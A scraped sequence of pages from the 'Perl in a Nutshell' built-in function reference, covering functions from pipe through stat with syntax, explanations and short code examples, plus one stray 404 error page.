Typically you would put a package declaration as the first thing in a file that is to be included by the require or use operator, but you can put one anywhere that a statement would be legal. When defining a class or a module file, it is customary to name the package the same name as the file, to avoid confusion. (It's also customary to name such packages beginning with a capital letter, because lowercase modules are, by convention, interpreted as pragmas.)

Previous: Reference: pack | Perl in a Nutshell | Next: Reference: pipe
Reference: pack | Book Index | Reference: pipe


Reference: pipe

Perl in a Nutshell

Perl in a NutshellSearch this book

pipe

pipe readhandle, writehandle

Opens a pair of connected pipes. This call is almost always used right before a fork, after which the pipes reader should close writehandle, and the writer should close readhandle. (Otherwise the pipe won't indicate EOF to the reader when the writer closes it.) Note that if you set up a loop of piped processes, deadlock can occur unless you are very careful. In addition, note that Perl's pipes use standard I/O buffering, so you may need to set $| on your writehandle to flush after each output command, depending on the application - see select filehandle.

Previous: Reference: package | Perl in a Nutshell | Next: Reference: pop
Reference: package | Book Index | Reference: pop


Reference: pop

Perl in a Nutshell

Perl in a NutshellSearch this book

pop

pop @array

Treats an array like a stack, popping and returning the last value of the array, shortening the array by one element. If array is omitted, the function pops @ARGV (in the main program), or @_ (in subroutines).

If there are no elements in the array, pop returns the undefined value. See also push and shift. If you want to pop more than one element, use splice.

Previous: Reference: pipe | Perl in a Nutshell | Next: Reference: pos
Reference: pipe | Book Index | Reference: pos


Reference: pos

Perl in a Nutshell

Perl in a NutshellSearch this book

pos

pos $scalar

Returns the location in scalar where the last m//g search over scalar left off. It returns the offset of the character after the last one matched. This is the offset where the next m//g search on that string will start. Remember that the offset of the beginning of the string is 0. For example:

$grafitto = "fee fie foe foo";
while ($grafitto =~ m/e/g) {
    print pos $grafitto, "\n";
}
prints 2, 3, 7, and 11, the offsets of each of the characters following an e". The pos function may be assigned a value to tell the next m//g where to start.

Previous: Reference: pop | Perl in a Nutshell | Next: Reference: print
Reference: pop | Book Index | Reference: print


Reference: print

Perl in a Nutshell

Perl in a NutshellSearch this book

print

print [filehandle] list

Prints a string or a comma-separated list of strings to the specified filehandle. If no filehandle is given, the function prints to the currently open filehandle (STDOUT initially). The function returns 1 if successful, 0 otherwise. filehandle may be a scalar variable name (unsubscripted), in which case the variable contains either the name of the actual filehandle or a reference to a filehandle object from one of the object-oriented filehandle packages. filehandle may also be a block that returns either kind of value:

print { $OK ? "STDOUT" : "STDERR" } "stuff\n";
print { $iohandle[$i] } "stuff\n";
If list is also omitted, $_ is printed. Note that, because print takes a list, anything in the list is evaluated in list context.

Previous: Reference: pos | Perl in a Nutshell | Next: Reference: printf
Reference: pos | Book Index | Reference: printf


Reference: printf

Perl in a Nutshell

Perl in a NutshellSearch this book

printf

printf [filehandle] format, list

Prints a formatted string of the elements in list to filehandle or, if omitted, the currently selected output filehandle. This is similar to the C library's printf and fprintf functions, except that the * field width specifier is not supported. The function is exactly equivalent to:

print filehandle sprintf(format, list);
printf and sprintf use the same format syntax, but sprintf only returns a string; it doesn't print to a filehandle. The format string contains text with embedded field specifiers into which the the elements of list are substituted in order, one per field. Field specifiers follow the form:
%m.nx
A percent sign begins each field, and x is the type of field. The optional m gives the minimum field width for appropriate field types (negative m left-justifies). The .n gives the precision for a specific field type, such as the number of digits after a decimal point for floating-point numbers, the maximum length for a string, and the minimum length for an integer.

Field specifiers (x) may be the following:

Code | Meaning
% | Percent sign
c | Character
d | Decimal integer
e | Exponential format floating-point number
E | Exponential format floating-point number with uppercase E
f | Fixed-point format floating-point number
g | Floating-point number, in either exponential or fixed decimal notation
G | Like g with uppercase E (if applicable)
ld | Long decimal integer
lo | Long octal integer
lu | Long unsigned decimal integer
lx | Long hexadecimal integer
o | Octal integer
s | String
u | Unsigned decimal integer
x | Hexadecimal integer
X | Hexadecimal integer with uppercase letters
p | The Perl value's address in hexadecimal
n | Special value that stores the number of characters output so far into the next variable in the parameter list

Previous: Reference: print | Perl in a Nutshell | Next: Reference: prototype
Reference: print | Book Index | Reference: prototype


Reference: prototype

Perl in a Nutshell

Perl in a NutshellSearch this book

prototype

prototype function

Returns the prototype of a function as a string, or undef if the function has no prototype. function is the name of the function or a reference to it.

Previous: Reference: printf | Perl in a Nutshell | Next: Reference: push
Reference: printf | Book Index | Reference: push


Reference: push

Perl in a Nutshell

Perl in a NutshellSearch this book

push

push @array, list

Pushes the elements of list onto the end of array. The length of array increases by the length of list. The function returns this new length. See also pop and unshift.

Previous: Reference: prototype | Perl in a Nutshell |
Reference: prototype | Book Index | Reference: q/string/


Reference: q/string/

Perl in a Nutshell

Perl in a NutshellSearch this book

q/string/

q/string/
qq/string/
qx/string/
qw/strings/

Generalized forms of quoting. q// is equivalent to using single quotes (literal, no variable interpolation). qq// is equivalent to double quotes (literal, interpolated). qx// is equivalent to using backticks for commands (interpolated). And qw// is equivalent to splitting a single-quoted string on whitespace.

Previous: Reference: push | Perl in a Nutshell | Next: Reference: quotemeta
Reference: push | Book Index | Reference: quotemeta


Reference: quotemeta

Perl in a Nutshell

Perl in a NutshellSearch this book

quotemeta

quotemeta expr

Returns the value of expr (or $_ if not specified) with all non-alphanumeric characters backslashed. This is the internal function implementing the \Q escape in interpolative contexts (including double-quoted strings, backticks, and patterns).

 | Perl in a Nutshell | Next: Reference: rand
Reference: q/string/ | Book Index | Reference: rand


Reference: rand

Perl in a Nutshell

Perl in a NutshellSearch this book

rand

rand num

Returns a random fractional number between 0 and the value of num. (num should be positive.) If num is omitted, the function returns a value between 0 and 1 (including 0, but excluding 1). See also srand.

To get an integral value, combine this with int, as in:

$roll = int(rand 6) + 1;       # $roll is now an integer between 1 and 6

Previous: Reference: quotemeta | Perl in a Nutshell | Next: Reference: read
Reference: quotemeta | Book Index | Reference: read


Reference: read

Perl in a Nutshell

Perl in a NutshellSearch this book

read

read filehandle, $var, length, [offset]

Attempts to read length bytes of data into variable var from the specified filehandle. The function returns the number of bytes actually read, or 0 at end-of-file. It returns the undefined value on error. var will grow or shrink to the length actually read. The offset, if specified, says where in the variable to start putting bytes, so that you can do a read into the middle of a string.

To copy data from the filehandle FROM into the filehandle TO, you could say:

while (read FROM, $buf, 16384) {
    print TO $buf;
}
Note that the opposite of read is simply print, which already knows the length of the string you want to write and can write a string of any length.

Perl's read function is actually implemented in terms of standard I/O's fread function, so the actual read system call may read more than length bytes to fill the input buffer, and fread may do more than one system read in order to fill the buffer. To gain greater control, specify the real system call using sysread.

Previous: Reference: rand | Perl in a Nutshell | Next: Reference: readdir
Reference: rand | Book Index | Reference: readdir


Reference: readdir

Perl in a Nutshell

Perl in a NutshellSearch this book

readdir

readdir dirhandle

Reads directory entries from a directory handle opened by opendir. In scalar context, this function returns the next directory entry, if any; otherwise, it returns an undefined value. In list context, it returns all the rest of the entries in the directory, which will of course be a null list if there are none.

Previous: Reference: read | Perl in a Nutshell | Next: Reference: readline
Reference: read | Book Index | Reference: readline


Reference: readline

Perl in a Nutshell

Perl in a NutshellSearch this book

readline

readline *filehandle

Reads a line or lines from the specified filehandle. (A typeglob of the filehandle name should be supplied.) Returns one line per call in a scalar context. Returns a list of all lines until the end-of-file in list context.

Previous: Reference: readdir | Perl in a Nutshell | Next: Reference: readlink
Reference: readdir | Book Index | Reference: readlink


Reference: readlink

Perl in a Nutshell

Perl in a NutshellSearch this book

readlink

readlink name

Returns the name of a file pointed to by the symbolic link name. name should evaluate to a filename, the last component of which is a symbolic link. If it is not a symbolic link, or if symbolic links are not implemented, or if some system error occurs, the undefined value is returned, and you should check the error code in $!. If name is omitted, the function uses $_.

Previous: Reference: readline | Perl in a Nutshell | Next: Reference: readpipe
Reference: readline | Book Index | Reference: readpipe


Reference: readpipe

Perl in a Nutshell

Perl in a NutshellSearch this book

readpipe

readpipe cmd

Executes cmd as a system command and returns the collected standard output of the command. In a scalar context, the output is returned as a single, possibly multiline string. In list context, a list of output lines is returned.

Previous: Reference: readlink | Perl in a Nutshell | Next: Reference: recv
Reference: readlink | Book Index | Reference: recv


Reference: recv

Perl in a Nutshell

Perl in a NutshellSearch this book

recv

recv socket, $var, len, flags

Receives a message on a socket. It attempts to receive len bytes of data into variable var from the specified socket filehandle. The function returns the address of the sender, or the undefined value if there's an error. var will grow or shrink to the length actually read. The function takes the same flags as the recv(2) system call.

Previous: Reference: readpipe | Perl in a Nutshell | Next: Reference: redo
Reference: readpipe | Book Index | Reference: redo


Reference: redo

Perl in a Nutshell

Perl in a NutshellSearch this book

redo

redo [label]

Restarts a loop block identified by label without re-evaluating the conditional. The continue block, if any, is not executed. If the label is omitted, the command refers to the innermost enclosing loop.

Previous: Reference: recv | Perl in a Nutshell | Next: Reference: ref
Reference: recv | Book Index | Reference: ref


Reference: ref

Perl in a Nutshell

Perl in a NutshellSearch this book

ref

ref $var

Returns a string indicating the type of the object referenced if var is a reference; returns the null string otherwise. Built-in types include:

REF
SCALAR
ARRAY
HASH
CODE
GLOB
If the referenced object has been blessed into a package, that package name is returned instead. You can think of ref as a "typeof" operator.

Previous: Reference: redo | Perl in a Nutshell | Next: Reference: rename
Reference: redo | Book Index | Reference: rename


Reference: rename

Perl in a Nutshell

Perl in a NutshellSearch this book

rename

rename oldname, newname

Changes the name of a file from oldname to newname. It returns 1 for success, 0 otherwise (and puts the error code into $!). It will not work across filesystem boundaries. If there is already a file named newname, it will be destroyed.

Previous: Reference: ref | Perl in a Nutshell | Next: Reference: require
Reference: ref | Book Index | Reference: require


Reference: require

Perl in a Nutshell

Perl in a NutshellSearch this book

require

require filename
require num
require package

Asserts a dependency of some kind depending on its argument. (If an argument is not supplied, $_ is used.)

If the argument is a string filename, this function includes and executes the Perl code found in the separate file of that name. This is similar to performing an eval on the contents of the file, except that require checks to see that the library file has not been included already. The function also knows how to search the include path stored in the @INC array.

If requires argument is a number num, the version number of the currently executing Perl binary (as known by $]) is compared to num, and if smaller, execution is immediately aborted. Thus, a script that requires Perl version 5.003 can have as its first line:

require 5.003;
and earlier versions of Perl will abort.

If requires argument is a package name, require assumes an automatic .pm suffix, making it easy to load standard modules. This is like use, except that it happens at runtime, not compile time, and the import routine is not called.

Previous: Reference: rename | Perl in a Nutshell | Next: Reference: reset
Reference: rename | Book Index | Reference: reset


Reference: reset

Perl in a Nutshell

Perl in a NutshellSearch this book

reset

reset expr

Used at the top of a loop or in a continue block at the end of a loop, to clear global variables or reset ?? searches so that they work again. expr is a list of single characters (hyphens are allowed for ranges). All scalar variables, arrays, and hashes beginning with one of those letters are reset to their pristine state. If expr is omitted, one-match searches (?PATTERN?) are reset to match again. The function resets variables or searches for the current package only. It always returns 1.

Lexical variables (created by my) are not affected. Use of reset is vaguely deprecated.

Previous: Reference: require | Perl in a Nutshell | Next: Reference: return
Reference: require | Book Index | Reference: return


Reference: return

Perl in a Nutshell

Perl in a NutshellSearch this book

return

return expr

Returns from a subroutine (or eval) with the value of expr. (In the absence of an explicit return, the value of the last expression evaluated is returned.) Use of return outside of a subroutine or eval will result in a fatal error.

The supplied expression will be evaluated in the context of the subroutine invocation. That is, if the subroutine was called in a scalar context, expr is also evaluated in scalar context. If the subroutine was invoked in a list context, then expr is also evaluated in list context, and can return a list value. A return with no argument returns the undefined value in scalar context, and a null list in list context. The context of the subroutine call can be determined from within the subroutine by using the (misnamed) wantarray function.

Previous: Reference: reset | Perl in a Nutshell | Next: Reference: reverse
Reference: reset | Book Index | Reference: reverse


Reference: reverse

Perl in a Nutshell

Perl in a NutshellSearch this book

reverse

reverse list

Returns a list value consisting of the elements of list in the opposite order. This is fairly efficient because it just swaps the pointers around. In scalar context, the function concatenates all the elements of list together and returns the reverse of that, character by character.

Previous: Reference: return | Perl in a Nutshell | Next: Reference: rewinddir
Reference: return | Book Index | Reference: rewinddir


Reference: rewinddir

Perl in a Nutshell

Perl in a NutshellSearch this book

rewinddir

rewinddir dirhandle

Sets the current position to the beginning of the directory for the readdir routine on dirhandle. The function may not be available on all machines that support readdir.

Previous: Reference: reverse | Perl in a Nutshell | Next: Reference: rindex
Reference: reverse | Book Index | Reference: rindex


Reference: rindex

Perl in a Nutshell

Perl in a NutshellSearch this book

rindex

rindex str, substr, [position]

Works just like index except that it returns the position of the last occurrence of substr in str (a reverse index). The function returns -1 if not found. position, if specified, is the rightmost position that may be returned - how far in the string the function can search.

Previous: Reference: rewinddir | Perl in a Nutshell | Next: Reference: rmdir
Reference: rewinddir | Book Index | Reference: rmdir


Reference: rmdir

Perl in a Nutshell

Perl in a NutshellSearch this book

rmdir

rmdir name

Deletes the directory specified by name if it is empty. If it succeeds, it returns 1; otherwise, it returns 0 and puts the error code into $!. If name is omitted, the function uses $_.

Previous: Reference: rindex | Perl in a Nutshell | Next: Reference: scalar
Reference: rindex | Book Index | Reference: scalar


Reference: scalar

Perl in a Nutshell

Perl in a NutshellSearch this book

scalar

scalar expr

Forces an expression expr to be evaluated in scalar context.

Previous: Reference: rmdir | Perl in a Nutshell | Next: Reference: seek
Reference: rmdir | Book Index | Reference: seek


Reference: seek

Perl in a Nutshell

Perl in a NutshellSearch this book

seek

seek filehandle, offset, whence

Positions the file pointer for filehandle, just like the fseek(3) call of standard I/O. The first position in a file is at offset 0, not offset 1, and offsets refer to byte positions, not line numbers. The function returns 1 upon success, 0 otherwise. For handiness, the function can calculate offsets from various file positions for you. The value of whence specifies which of three file positions your offset is relative to: 0, the beginning of the file; 1, the current position in the file; or 2, the end of the file. offset may be negative for a whence of 1 or 2.

Previous: Reference: scalar | Perl in a Nutshell | Next: Reference: seekdir
Reference: scalar | Book Index | Reference: seekdir


Reference: seekdir

Perl in a Nutshell

Perl in a NutshellSearch this book

seekdir

seekdir dirhandle, pos

Sets the current position for the readdir routine on dirhandle. pos must be a value returned by telldir. This function has the same caveats about possible directory compaction as the corresponding system library routine.

Previous: Reference: seek | Perl in a Nutshell | Next: Reference: select
Reference: seek | Book Index | Reference: select


Reference: select

Perl in a Nutshell

Perl in a NutshellSearch this book

select

select filehandle

Returns the currently selected output filehandle, and if filehandle is supplied, sets that as the current default filehandle for output. This has two effects: first, a write or a print without a filehandle argument will default to this filehandle. Second, special variables related to output will refer to this output filehandle.

Previous: Reference: seekdir | Perl in a Nutshell | Next: Reference: select
Reference: seekdir | Book Index | Reference: select


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c05_138.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: semctl

Perl in a Nutshell

Perl in a NutshellSearch this book

semctl

semctl id, semnum, cmd, arg

Calls the System V IPC system call semctl(2). If cmd is &IPC_STAT or &GETALL, then arg must be a variable which will hold the returned semid_ds structure or semaphore value array. The function returns like ioctl: the undefined value for error, 0 but true for zero, or the actual return value otherwise. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "sem.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: select | Perl in a Nutshell | Next: Reference: semget
Reference: select | Book Index | Reference: semget


Reference: semget

Perl in a Nutshell

Perl in a NutshellSearch this book

semget

semget key, nsems, size, flags

Calls the System V IPC system call semget(2). The function returns the semaphore ID, or the undefined value if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "sem.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: semctl | Perl in a Nutshell | Next: Reference: semop
Reference: semctl | Book Index | Reference: semop


Reference: semop

Perl in a Nutshell

Perl in a NutshellSearch this book

semop

semop key, opstring

Calls the System V IPC system call semop(2) to perform semaphore operations such as signaling and waiting. opstring must be a packed array of semop structures. You can make each semop structure by saying pack('s*', $semnum, $semop, $semflag). The number of semaphore operations is implied by the length of opstring. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "sem.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: semget | Perl in a Nutshell | Next: Reference: send
Reference: semget | Book Index | Reference: send


Reference: send

Perl in a Nutshell

Perl in a NutshellSearch this book

send

send socket, msg, flags, [dest]

Sends a message msg on a socket. It takes the same flags as the system call of the same name - see send(2). On unconnected sockets you must specify a destination dest to send to, in which case send works like sendto(2). The function returns the number of bytes sent, or the undefined value if there is an error. On error, it puts the error code into $!.

(Some non-Unix systems improperly treat sockets as different objects than ordinary file descriptors, with the result that you must always use send and recv on sockets rather than the standard I/O operators.)

Previous: Reference: semop | Perl in a Nutshell | Next: Reference: sethostent
Reference: semop | Book Index | Reference: sethostent


Reference: sethostent

Perl in a Nutshell

Perl in a NutshellSearch this book

sethostent

sethostent stayopen

Opens the hosts file (usually /etc/hosts on Unix systems) and resets the "current" selection to the top of the file. stayopen, if non-zero, keeps the file open across calls to other functions. Not implemented on Win32 systems.

Previous: Reference: send | Perl in a Nutshell | Next: Reference: setgrent
Reference: send | Book Index | Reference: setgrent


Reference: setgrent

Perl in a Nutshell

Perl in a NutshellSearch this book

setgrent

setgrent

Opens the groups file (usually /etc/group on Unix systems) and resets the top of the file as the starting point for any read and/or write functions on the file (with the proper permissions). This function will reset the getgrent function back to retrieve group entries from the start of the group file. Not implemented on Win32 systems.

Previous: Reference: sethostent | Perl in a Nutshell | Next: Reference: setnetent
Reference: sethostent | Book Index | Reference: setnetent


Reference: setnetent

Perl in a Nutshell

Perl in a NutshellSearch this book

setnetent

setnetent stayopen

Opens the networks file (usually /etc/group) and resets the "current" selection to the top of the file. stayopen, if non-zero, keeps the file open across calls to other functions. Not implemented on Win32 systems.

Previous: Reference: setgrent | Perl in a Nutshell | Next: Reference: setpgrp
Reference: setgrent | Book Index | Reference: setpgrp


Reference: setpgrp

Perl in a Nutshell

Perl in a NutshellSearch this book

setpgrp

setpgrp pid, pgrp

Sets the current process group pgrp for the specified pid (use a pid of 0 for the current process). Invoking setpgrp will produce a fatal error if used on a machine that doesn't implement setpgrp(2). Some systems will ignore the arguments you provide and always do setpgrp(0, $$). Fortunately, those are the arguments you usually provide. (For better portability, use the setpgid() function in the POSIX module, or if you're really just trying to daemonize your script, consider the POSIX::setsid() function as well.)

Previous: Reference: setnetent | Perl in a Nutshell | Next: Reference: setpriority
Reference: setnetent | Book Index | Reference: setpriority


Reference: setpriority

Perl in a Nutshell

Perl in a NutshellSearch this book

setpriority

setpriority which, who, priority

Sets the current priority for a process, a process group, or a user. which must indicate one of these types: PRIO_PROCESS, PRIO_PGRP, or PRIO_USER. who therefore identifies the specific process, process group, or user with its ID. priority is an integer number that will be added to or subtracted from the current priority; the lower the number, the higher the priority. The interpretation of a given priority may vary from one operating system to the next. See setpriority on your system. Invoking setpriority will produce a fatal error if used on a machine that doesn't implement setpriority.

Previous: Reference: setpgrp | Perl in a Nutshell | Next: Reference: setprotoent
Reference: setpgrp | Book Index | Reference: setprotoent


Reference: setprotoent

Perl in a Nutshell

Perl in a NutshellSearch this book

setprotoent

setprotoent stayopen

Opens the prototypes file (usually /etc/prototypes) and resets the "current" selection to the top of the file. stayopen, if non-zero, keeps the file open across calls to other functions. Not implemented on Win32 systems.

Previous: Reference: setpriority | Perl in a Nutshell | Next: Reference: setpwent
Reference: setpriority | Book Index | Reference: setpwent


Reference: setpwent

Perl in a Nutshell

Perl in a NutshellSearch this book

setpwent

setpwent

Opens the password file (usually /etc/passwd) and resets the top of the file as the starting point for any read and/or write functions on the file (with the proper permissions). This function will reset the getpwent function back to retrieve group entries from the start of the group file. Not implemented on Win32 systems.

Previous: Reference: setprotoent | Perl in a Nutshell | Next: Reference: setservent
Reference: setprotoent | Book Index | Reference: setservent


Reference: setservent

Perl in a Nutshell

Perl in a NutshellSearch this book

setservent

setservent stayopen

Opens the services file (usually /etc/services) and resets the "current" selection to the top of the file. stayopen, if non-zero, keeps the file open across calls to other functions. Not implemented on Win32 systems.

Previous: Reference: setpwent | Perl in a Nutshell | Next: Reference: setsockopt
Reference: setpwent | Book Index | Reference: setsockopt


Reference: setsockopt

Perl in a Nutshell

Perl in a NutshellSearch this book

setsockopt

setsockopt socket, level, optname, optval

Sets the socket option requested (optname) to the value optval. The function returns undefined if there is an error. optval may be specified as undef if you don't want to pass an argument. level specifies the protocol type used on the socket.

Previous: Reference: setservent | Perl in a Nutshell | Next: Reference: shift
Reference: setservent | Book Index | Reference: shift


Reference: shift

Perl in a Nutshell

Perl in a NutshellSearch this book

shift

shift @array

Removes the first value of @array and returns it, shortening the array by 1 and moving everything down. If there are no elements in the array, the function returns the undefined value. If @array is omitted, the function shifts @ARGV (in the main program), or @_ (in subroutines). See also unshift, push, pop, and splice. The shift and unshift functions do the same thing to the left end of an array that pop and push do to the right end.

Previous: Reference: setsockopt | Perl in a Nutshell | Next: Reference: shmctl
Reference: setsockopt | Book Index | Reference: shmctl


Reference: shmctl

Perl in a Nutshell

Perl in a NutshellSearch this book

shmctl

shmctl id, cmd, arg

Calls the System V IPC system call, shmctl(2), for performing operations on shared memory segments. If cmd is &IPC_STAT, then arg must be a variable that will hold the returned shmid_ds structure. The function returns like ioctl: the undefined value for error, "0 but true" for zero, or the actual return value otherwise. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "shm.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: shift | Perl in a Nutshell | Next: Reference: shmget
Reference: shift | Book Index | Reference: shmget


Reference: shmget

Perl in a Nutshell

Perl in a NutshellSearch this book

shmget

shmget key, size, flags

Calls the System V IPC system call, shmget(2). The function returns the shared memory segment ID, or the undefined value if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "shm.ph";
This function is available only on machines supporting System V IPC.

Previous: Reference: shmctl | Perl in a Nutshell | Next: Reference: shmread
Reference: shmctl | Book Index | Reference: shmread


Reference: shmread

Perl in a Nutshell

Perl in a NutshellSearch this book

shmread

shmread id, var, pos, size

Reads from the shared memory segment id starting at position pos for size size (by attaching to it, copying out, and detaching from it). var must be a variable that will hold the data read. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. This function is available only on machines supporting System V IPC.

Previous: Reference: shmget | Perl in a Nutshell | Next: Reference: shmwrite
Reference: shmget | Book Index | Reference: shmwrite


Reference: shmwrite

Perl in a Nutshell

Perl in a NutshellSearch this book

shmwrite

shmwrite id, string, pos, size

Writes to the shared memory segment ID starting at position pos for size size (by attaching to it, copying in, and detaching from it). If string is too long, only size bytes are used; if string is too short, nulls are written to fill out size bytes. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. This function is available only on machines supporting System V IPC.

Previous: Reference: shmread | Perl in a Nutshell | Next: Reference: shutdown
Reference: shmread | Book Index | Reference: shutdown


Reference: shutdown

Perl in a Nutshell

Perl in a NutshellSearch this book

shutdown

shutdown socket, how

Shuts down a socket connection in the manner indicated by how. If how is 0, further receives are disallowed. If how is 1, further sends are disallowed. If how is 2, everything is disallowed.

(This function will not shut down your system; you'll have to execute an external program to do that. See system.)

Previous: Reference: shmwrite | Perl in a Nutshell | Next: Reference: sin
Reference: shmwrite | Book Index | Reference: sin


Reference: sin

Perl in a Nutshell

Perl in a NutshellSearch this book

sin

sin num

Returns the sine of num (expressed in radians). If num is omitted, it returns the sine of $_.

Previous: Reference: shutdown | Perl in a Nutshell | Next: Reference: sleep
Reference: shutdown | Book Index | Reference: sleep


Reference: sleep

Perl in a Nutshell

Perl in a NutshellSearch this book

sleep

sleep n

Causes the script to sleep for n seconds, or forever if no argument is given. It may be interrupted by sending the process a SIGALRM. The function returns the number of seconds actually slept. On some systems, the function sleeps till the "top of the second," so, for instance, a sleep 1 may sleep anywhere from 0 to 1 second, depending on when in the current second you started sleeping.

Previous: Reference: sin | Perl in a Nutshell | Next: Reference: socket
Reference: sin | Book Index | Reference: socket


Reference: socket

Perl in a Nutshell

Perl in a NutshellSearch this book

socket

socket socket, domain, type, protocol

Opens a socket of the specified kind and attaches it to filehandle socket. domain, type, and protocol are specified the same as for socket(2). Before using this function, your program should contain the line:

use Socket;
This setting gives you the proper constants. The function returns true if successful.

Previous: Reference: sleep | Perl in a Nutshell | Next: Reference: socketpair
Reference: sleep | Book Index | Reference: socketpair


Reference: socketpair

Perl in a Nutshell

Perl in a NutshellSearch this book

socketpair

socketpair sock1, sock2, domain, type, prtcl

Creates an unnamed pair of sockets in the specified domain and of the specified type. domain, type, and protocol are specified the same as for socketpair(2). If socketpair is unimplemented, invoking this function yields a fatal error. The function returns true if successful.

This function is typically used just before a fork. One of the resulting processes should close sock1, and the other should close sock2. You can use these sockets bidirectionally, unlike the filehandles created by the pipe function.

Previous: Reference: socket | Perl in a Nutshell | Next: Reference: sort
Reference: socket | Book Index | Reference: sort


Reference: sort

Perl in a Nutshell

Perl in a NutshellSearch this book

sort

sort [code] list

Sorts a list and returns the sorted list value. By default (without a code argument), it sorts in standard string comparison order (undefined values sorting before defined null strings, which sort before everything else). code, if given, may be the name of a subroutine or a code block (anonymous subroutine) that defines its own comparison mechanism for sorting elements of list. The routine must return to the sort function an integer less than, equal to, or greater than 0, depending on how the elements of the list are to be ordered. (The handy <=> and cmp operators can be used to perform three-way numeric and string comparisons.)

The normal calling code for subroutines is bypassed, with the following effects: the subroutine may not be a recursive subroutine, and the two elements to be compared are passed into the subroutine as $a and $b, not via @_. The variables $a and $b are passed by reference, so don't modify them in the subroutine.

Do not declare $a and $b as lexical variables (with my). They are package globals (though theyre exempt from the usual restrictions on globals when you're using use strict). You do need to make sure your sort routine is in the same package though, or else you must qualify $a and $b with the package name of the caller.

In versions preceding 5.005, Perl's sort is implemented in terms of C's qsort(3) function. Some qsort(3) versions will dump core if your sort subroutine provides inconsistent ordering of values. As of 5.005, however, this is no longer true.

Previous: Reference: socketpair | Perl in a Nutshell | Next: Reference: splice
Reference: socketpair | Book Index | Reference: splice


Reference: splice

Perl in a Nutshell

Perl in a NutshellSearch this book

splice

splice @array, pos, [n], [list]

Removes n number of elements from @array starting at position pos, replacing them with the elements of list, if provided. The function returns the elements removed from the array. The array grows or shrinks as necessary. If n is omitted, the function removes everything from pos onward.

Previous: Reference: sort | Perl in a Nutshell | Next: Reference: split
Reference: sort | Book Index | Reference: split


Reference: split

Perl in a Nutshell

Perl in a NutshellSearch this book

split

split /pattern/, string, [limit]

Scans a string for delimiters that match pattern, and splits the string into a list of substrings, returning the resulting list value in list context, or the count of substrings in scalar context. The delimiters are determined by repeated pattern matching, using the regular expression given in pattern, so the delimiters may be of any size, and need not be the same string on every match. If the pattern doesn't match at all, split returns the original string as a single substring. If it matches once, you get two substrings, and so on.

If limit is specified and is not negative, the function splits into no more than that many fields. If limit is negative, it is treated as if an arbitrarily large limit has been specified. If limit is omitted, trailing null fields are stripped from the result (which potential users of pop would do well to remember). If string is omitted, the function splits the $_ string. If pattern is also omitted, the function splits on whitespace, /\s+/, after skipping any leading whitespace.

If the pattern contains parentheses, then the substring matched by each pair of parentheses is included in the resulting list, interspersed with the fields that are ordinarily returned. Here's a simple case:

split /([-,])/, "1-10,20";
that produces the list value:
(1, '-', 10, ',', 20)

Previous: Reference: splice | Perl in a Nutshell | Next: Reference: sprintf
Reference: splice | Book Index | Reference: sprintf


Reference: sprintf

Perl in a Nutshell

Perl in a NutshellSearch this book

sprintf

sprintf format, list

Returns a string formatted by the printf conventions. The format string contains text with embedded field specifiers into which the elements of list are substituted, one per field. Field specifiers are roughly of the form:

%m.nx
where the m and n are optional sizes whose interpretation depends on the type of field, and x is one of the following:

Code | Meaning
% | Percent sign
c | Character
d | Decimal integer
e | Exponential format floating-point number
E | Exponential format floating-point number with uppercase E
f | Fixed-point format floating-point number
g | Floating-point number, in either exponential or fixed decimal notation
G | Like g with uppercase E (if applicable)
ld | Long decimal integer
lo | Long octal integer
lu | Long unsigned decimal integer
lx | Long hexadecimal integer
o | Octal integer
s | String
u | Unsigned decimal integer
x | Hexadecimal integer
X | Hexadecimal integer with uppercase letters
p | The Perl value's address in hexadecimal
n | Special value that stores the number of characters output so far into the next variable in the parameter list.

m is typically the minimum length of the field (negative for left-justified), and n is precision for exponential formats and the maximum length for other formats. Padding is typically done with spaces for strings and zeroes for numbers. The * character as a length specifier is not supported.

Previous: Reference: split | Perl in a Nutshell | Next: Reference: sqrt
Reference: split | Book Index | Reference: sqrt


Reference: sqrt

Perl in a Nutshell

Perl in a NutshellSearch this book

sqrt

sqrt num

Returns the square root of num, or $_ if omitted. For other roots such as cube roots, you can use the ** operator to raise something to a fractional power.

Previous: Reference: sprintf | Perl in a Nutshell | Next: Reference: srand
Reference: sprintf | Book Index | Reference: srand


Reference: srand

Perl in a Nutshell

Perl in a NutshellSearch this book

srand

srand expr

Sets the random number seed for the rand operator so that rand can produce a different sequence each time you run your program. If expr is omitted, a default seed is used that is a mix of difficult-to-predict, system-dependent values. If you call rand and you haven't called srand yet, rand calls srand with the default seed.

Previous: Reference: sqrt | Perl in a Nutshell | Next: Reference: stat
Reference: sqrt | Book Index | Reference: stat


Reference: stat

Perl in a Nutshell

Perl in a NutshellSearch this book

stat

stat file

Returns a 13-element list giving the statistics for a file, indicated by either a filehandle or an expression that gives its name. It's typically used as follows:

($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
    $atime,$mtime,$ctime,$blksize,$blocks)
            = stat $filename;
Not all fields are supported on all filesystem types. Here are the meanings of the fields:

Field | Meaning
dev | Device number of filesystem
ino | Inode number
mode | File mode (type and permissions)
nlink | Number of (hard) links to the file
uid | Numeric user ID of file's owner
gid | Numeric group ID of file's owner
rdev | The device identifier (special files only)
size | Total size of file, in bytes
atime | Last access time since the epoch
mtime | Last modification time since the epoch
ctime | Inode change time (not creation time!) since the epoch
blksize | Preferred blocksize for file system I/O
blocks | Actual number of blocks allocated

$dev and $ino, taken together, uniquely identify a file. The $blksize and $blocks are likely defined only on BSD-derived filesystems. The $blocks field (if defined) is reported in 512-byte blocks. Note that $blocks*512 can differ greatly from $size for files containing unallocated blocks, or "holes," which aren't counted in $blocks.

If stat is passed the special filehandle consisting of an underline, no actual stat is done, but the current contents of the stat structure from the last stat or stat-based file test (the -x operators) is returned.

